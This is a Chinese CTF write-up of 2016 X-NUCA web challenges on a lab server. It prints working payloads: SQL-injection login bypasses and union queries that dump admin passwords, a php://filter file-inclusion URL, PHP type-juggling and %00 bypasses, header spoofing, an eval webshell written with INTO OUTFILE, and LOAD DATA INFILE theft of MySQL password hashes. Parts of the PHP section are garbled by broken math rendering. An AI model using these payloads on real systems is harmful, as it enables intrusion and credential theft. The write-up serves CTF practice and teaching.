BaseInjection-不知道密码也能登录

BaseInjection,基本注入,再加上题目的提示信息:不知道密码也能登录。

2016X-NUCA联赛web真题(CTF练习)_万能密码

输入最常见的万能密码:admin’ or ‘1’=’1,密码任意,发现没有成功,提示用户名或密码错误。可能是这里限制了payload的长度,我们再使用其他的payload来注入:1’ or ‘1’=’1,依然是提示用户名或密码错误。经过尝试判断后端限制payload长度为小于11。(如果把payload中的空格去掉,依旧可以哦!!也就是这样 1’or‘1’=’1

构造一些长度更小的payload:’ or 1=1–、’ || 1=1–、’ or 1=’1等

使用修改的payload登录,成功获取flag。

GG-游戏似乎很无聊啊

2016X-NUCA联赛web真题(CTF练习)_CTF_02

1、 发现是个俄罗斯方块的游戏,可以尝试先玩几局游戏,但是并没有什么用(游戏是个坑,只有玩到1000000分时,会在cookie写入(“urlkey”,“webqwer”[1]+“100.js”,864E5),所以e100.js是提示文件 )

2、我们无法或者是很难很费劲能够直接从游戏获得flag,所以我们先分析这个游戏服务:

我们在浏览器的开发者工具中,对网络请求进行分析,发现我们对目标进行访问时,并没有实质性的后台请求:

所以及基本可以断定,这是一个前台页面的游戏,游戏的运行、计分都是由js脚本来支持的,所以我们查看请求中仅有的js页面代码:这个js混淆过,所以需要先美化,也就是js代码的格式化(如果是真实的环境,我们呢可以粘贴到自己熟悉的IDE工具中进行格式化,我们实验环境中,已经给大家美化好了放在c盘根目录下“优化后的代码.txt”)。

3、我们对js代码进行分析:

经过分析,会发现,当游戏分数达到既定的条件时,js代码会在页面的投不中添加urlkey字段,值为“webqwer”[1]+“100.js”,即为“webqwer”的第2个字母与“100.js”拼接为“e100.js”。

4、 也是一个js文件,我们尝试直接访问,可以看到页面的内容为jsfuck编码:

2016X-NUCA联赛web真题(CTF练习)_php_03

jsfuck编码是可以直接在控制台运行的,我们复制粘贴到控制台,但是我们呢实验环境中的火狐浏览器不允许粘贴内容到控制台,所以我们可以换用google浏览器,同样是f12打开开发者工具,然后将编码粘贴到console中,内容过多,环境可能卡顿,耐心等待:

5、或者我们也可以把e100.js嵌入到一个html文件中(新建一个html文件,里面写上<scriptsrc=" http://10.1.1.219/e100.js">),用浏览器打开得到flag

注意:这里很坑,鼠标右键是不可以的,必须到浏览器中输入html路径,来执行它才可以。。。

简单的JS-执行后的结果就是flag 的url

2016X-NUCA联赛web真题(CTF练习)_SQL注入_04

页面没什么其他有用的信息,我们直接看一下源码,看有没有什么发现。在页面源代码中发现了一段可疑的js代码

2016X-NUCA联赛web真题(CTF练习)_安全_05

对代码进行解读,可以知道,这段代码的功能是对页面写入内容,这个内容由变量P表示,P的内容是多个ascii码,我们可以自己翻译,看这些ascii码的内容是什么,也可以直接在浏览器的console中进行运行,得到新的页面。

打开浏览器,访问题目页面,按f12打开开发者工具,我们将js代码粘贴到console中,回车进行运行(因为火狐浏览器禁止赋值粘贴,所以我们使用google浏览器,注意将中间的空行等处理一下):

然后会发现页面变成了空白,但是还是有一点不引人注意的地方:

2016X-NUCA联赛web真题(CTF练习)_CTF_06

翻看页面源代码,发现了一个隐藏的php页面:

我们访问这个php页面,发现有一个变量名为flag:

2016X-NUCA联赛web真题(CTF练习)_安全_07

但是查看页面源代码中,并没有flag的内容,查看请求头部时,发现cookie中存在flag

2016X-NUCA联赛web真题(CTF练习)_SQL注入_08

Give Me Flag-哎,不小心把代码弄乱惹

打开之后是一段污染的JS代码

2016X-NUCA联赛web真题(CTF练习)_SQL注入_09

我们直接放到火狐浏览器里,F12打开,看到是这个样子的结果。

2016X-NUCA联赛web真题(CTF练习)_SQL注入_10

在eval()函数处设置了监控,再运行一下,就得到了一段正常的JS代码

2016X-NUCA联赛web真题(CTF练习)_SQL注入_11

把代码复制下来看下,这个结果输出就很明显可以看到是flag了

2016X-NUCA联赛web真题(CTF练习)_安全_12

2016X-NUCA联赛web真题(CTF练习)_php_13

flag是flag{it’s_a_h0le_in_0ne}

login-登陆后有惊喜

访问页面上的3个url,发现格式如下:

http://10.1.1.219:20115/?page=main

http://10.1.1.219:20115/?page=info

http://10.1.1.219:20115/?page=login

猜测源码是这么写的

include($_GET[‘page’] . ‘php’);

然后访问

http://10.1.1.219:20115/main.php

http://10.1.1.219:20115/info.php

http://10.1.1.219:20115/login.php

发现与上面的方式访问一样,猜测可能存在文件包含,然后我们尝试利用php filter 来获取源码。

访问 http://10.1.1.219:20115/index.php?page=php://filter/convert.base64-encode/resource=index,得到index.php base64编码的源码

2016X-NUCA联赛web真题(CTF练习)_php_14

解码,得到源码

2016X-NUCA联赛web真题(CTF练习)_php_15

可以看到如果带一个log参数并传一个值过去,如果这个文件存在,他就会包含flag.txt,也就是说,在当前目录存在flag.txt,访问之。

2016X-NUCA联赛web真题(CTF练习)_万能密码_16

禁止直接访问,根据题目描述,登陆后有惊喜,首先用之前的办法得到登陆页面的源码。访问 http://10.1.1.219:20115/index.php?page=php://filter/convert.base64-encode/resource=login

2016X-NUCA联赛web真题(CTF练习)_安全_17

然后解码,得到源码

2016X-NUCA联赛web真题(CTF练习)_安全_18

可以看到,在账号密码正确的情况下,就会包含flag.txt,而pwhash 在index.php里,

2016X-NUCA联赛web真题(CTF练习)_SQL注入_19

也就是说,我们只要解出这个hash就可以了。事实上并不需要,在index.php里,当存在我们提交的log 参数而且该文件存在,同样会包含flag.txt,虽然我们不知道已经存在的log文件,但是在login.php里可以看到写文件操作,我们只要满足下面这几个条件就行了。

2016X-NUCA联赛web真题(CTF练习)_php_20

在php里,非0字符为真,所以我们只要随便给login和password传个字符过去就行了,然后get 带个debug参数并随便传一个非0的值例如11 过去。因为在index.php里,只要我们提交的log参数指定的文件存在,就会包含flag,所以,我们不需要管内容是什么,所以账号密码都可以随便写,构造如下数据(这里的账号密码可以随便填,只要保证有字符串即可):

2016X-NUCA联赛web真题(CTF练习)_php_21

然后点击go,返回保存的文件路径

2016X-NUCA联赛web真题(CTF练习)_万能密码_22

然后访问该文件看是否存在

2016X-NUCA联赛web真题(CTF练习)_万能密码_23

文件正确写入,然后给index.php传参访问,得到flag。

2016X-NUCA联赛web真题(CTF练习)_SQL注入_24

php是最好的语言-据说php是最好的语言,perfect?

进入到题目,看到的是一段代码

2016X-NUCA联赛web真题(CTF练习)_万能密码_25

经过查看,发现我们只要构造pyload使得v1=1,v2=1,v3=1,就能够echo flag。

接下来分析下代码

主要的考察点有两个,我们分开看一下

考点一:

is_numeric(@ a [ " b a r 1 " ] ) ? d i e ( " n o p e " ) : N U L L ; i f ( @ a["bar1"])?die("nope"):NULL; if(@ a["bar1"])?die("nope"):NULL;if(@a[“bar1”]){

( a [ " b a r 1 " ] > 2016 ) ? a["bar1"]>2016)? a["bar1"]>2016)?v1=1:NULL;

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。也就是这里要使得a[bar1]在is_numeric判断下为非数字,又要大于2016,所以 bar1为2017a即可。

考点二:

c = @ c=@ c=@_GET[‘cat’];

d = @ d=@ d=@_GET[‘dog’];

if(@KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(!strcmp(c[1],$d) && c [ 1 ] ! = = c[1]!== c[1]!==d){

eregi(“3|1|c”, d . d. d.c[0])?die(“nope”):NULL;

strpos(( c [ 0 ] . c[0]. c[0].d), “htctf2016”)? v 3 = 1 : N U L L ; 这 里 用 到 的 技 巧 是 , a r r a y 和 s t r i n g 进 行 s t r c m p 比 较 的 时 候 会 返 回 一 个 n u l l , v3=1:NULL; 这里用到的技巧是,array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi。cat[0]=00code2016&cat[1][]=1111&dog=%00,由于 v3=1:NULL;这里用到的技巧是,array和string进行strcmp比较的时候会返回一个null,a=(array)json_decode(@$_GET[‘foo’]);最后构造出pyload为:

http://10.1.1.219:20114/index.php?foo={%22bar1%22:%222017a%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00htctf2016&cat[1][]=1111&dog=%00

2016X-NUCA联赛web真题(CTF练习)_安全_26

成功得到flag。

payload中的三个参数foo、cat、dog,可以从源码中知道是GET请求的三个参数。foo参数的值:{%22bar1%22:%222017a%22,%22bar2%22:[[1],1,2,3,0]},是JSON格式的字符串,因为源码中有一个json_decode函数(对JSON格式的字符串进行编码),%22是双引号的URL编码,相当于foo={“bar1”:”2017a”,”bar2”:[[1],1,2,3,0]},是一个标准的JSON格式的字符串。bar1、bar2就是第一个if条件语句中JSON格式的两个参数,其值分别为2017a和[[1],1,2,3,0],2017a在【考点一】中已经说到,要求非数字&大于2016,所以2017a、2017b、2018a都可;bar2是一个数组,因为第三个if条件中有一个is_array函数(检测变量是否为数组),bar2需要长度为5且数组的第一个元素为数组,所以构造的值可以是[[1],1,2,3,0]

考点二中有一个重要的函数strpos(查找字符串首次出现的位置),所以cat[0]值为00htctf2016(前面两个0表示包含整个匹配的字符串),二维数组cat[1][]值可以随意构造,只需满足前面是cat[1]即可。关于dog参数的值,即$d,在源码中可以看到是eregi函数的第二个参数(以不区分大小写的方式寻找和给定的正则表达式‘3|1|c’所匹配的子串),可以使用%00截断的方式绕过eregi函数的判断,后面的内容无需填写,因为服务器执行到%00就会认为任务已经结束了。

DrinkCoffee-据说登录可以领到咖啡票,不过不知道密码哦……

2016X-NUCA联赛web真题(CTF练习)_SQL注入_27

题目页上一个输入框,还有一行提示,大体意思就是找到密码提交,但是要我们必须用一个给定的ip通过一个特定的页面来提交。

其实我们可以想到考察的内容了,一是要找到密码,二是要在http头中把referer和X-forwarded-for修改成指定内容。我们先使用brupsuit来获取数据包。随便输入一个密码,直接发送。

2016X-NUCA联赛web真题(CTF练习)_SQL注入_28

发送之后,看到在返回的数据包中有一个password字段,后面是一串字符,看起来是md5的,难道这就是密码?

2016X-NUCA联赛web真题(CTF练习)_安全_29

我们利用免费的解md5值的网站,解出结果是:cafe,可能就是正确的密码,接下来结合着提示要我们在http头里需要改的内容。在post包里改好之后再次发送。

2016X-NUCA联赛web真题(CTF练习)_安全_30

得到了正确的flag

DBexplorer-Where is my data。

查看源码

2016X-NUCA联赛web真题(CTF练习)_安全_31

发现注释

有用vim编辑过文件

那么可能存在备份文件的泄露

如图,访问 .index.php.swp文件,并没有什么

直接访问另一个 .db.php.swp,访问url:http://10.1.1.82/.db.php.swp进行下载

发现存在文件,下载下来,在文件的最后看到了数据库的用户名和密码,并且根据提示我们知道了可能存在phpmyadmin

我们试着登录一下phpmyadmin

存在phpmyadmin

登录一下

发现库里没什么有flag

2016X-NUCA联赛web真题(CTF练习)_安全_32

查看当前数据库用户的权限

2016X-NUCA联赛web真题(CTF练习)_SQL注入_33

2016X-NUCA联赛web真题(CTF练习)_CTF_34

有文件权限是不是可以写一个shell呢?

2016X-NUCA联赛web真题(CTF练习)_SQL注入_35

select’<?php @eval($_POST[-77];?>'INTO OUTFILE ‘/var/www/html/errors.php’

写一句话木马

2016X-NUCA联赛web真题(CTF练习)_万能密码_36

发现写不了,没有创建和写入的权限

2016X-NUCA联赛web真题(CTF练习)_php_37

查看数据库存放的路径

2016X-NUCA联赛web真题(CTF练习)_安全_38

load data infile “/var/lib/mysql/mysql/user.MYD” into TABLE test.q fields TERMINATED by ‘’ LINES TERMINATED BY ‘\0’;

在test数据库中执行此命令,把user.myd文件中的数据库用户的密码信息导入到一张表中

2016X-NUCA联赛web真题(CTF练习)_SQL注入_39

查看表,我们有了各个用户的哈希密码,破解一下得到topsec的密码是topsec123456

2016X-NUCA联赛web真题(CTF练习)_CTF_40

2016X-NUCA联赛web真题(CTF练习)_安全_41

得到了正确的flag

AdminLogin

我们把url中id的值改为2,看看会返回什么结果

返回的页面是这样的

我们再把id的值改回1,返回的页面似乎没有变化

我们把两次的请求抓一下包

如图,第一个请求多了一个referer头部

测试下参数是否存在注入

用经典的and 1=1 和and 1=2测试

测得存在注入

然后我们开始进行注入测试首先利用orderby获取列数order by3返回正确order by 4返回错误说明列数位3

利用-1 unionselect 1,2,3看到回显位置位2跟3

然后查询数据库名-1union select 1,2,group_concat(schema_name) from information_schema.schemata

然后查询ctfphp底下的表名-1 union select 1,2,table_namefrom information_schema.tables where table_schema=’ctfphp’ 可以看到admin表跟news表

查看一下admin表下的列-1 union select 1,2,column_namefrom information_schema.columns where table_name=’admin’

然后看一下admin表里面的id跟name数据-1 union select 1,2,group_concat(name,’:’,pass) from admin

通过注入点获得一些信息

有了密码,开始找后台

通过小的扫描器找到了robots.txt文件

访问robots.txt中疑似后台目录的目录

没什么东西

通过小的扫描获取到了存在这个文件.svn/entries,访问之后是这样的

获取到了很想后台登录文件的一个文件/welcometoctffloginxxx.php

我们试着访问一下

后台登录页面出来了

用之前获取到的用户名密码登录一下

告诉我们ip非法,它要求的ip是4个8

我们抓包,在数据包中加一行,欺骗它

加了之后成功的登录后台

可以看到返回的后台源代码中有一个注释,注释有一个内容

打开提示非法登录的页面,并按f12,点击查看器,在标签上点击右键选择作为html编辑,然后把的内容复制到中并回车

2016X-NUCA联赛web真题(CTF练习)_万能密码_42

2016X-NUCA联赛web真题(CTF练习)_CTF_43


我是罡罡同学,一位初入网安的小白。☜(ˆ▽ˆ)

(疯狂暗示 点赞 !关注!发 !!! 点赞 !关注!转发 !!!

* 您的支持是罡罡同学前进的最大动力!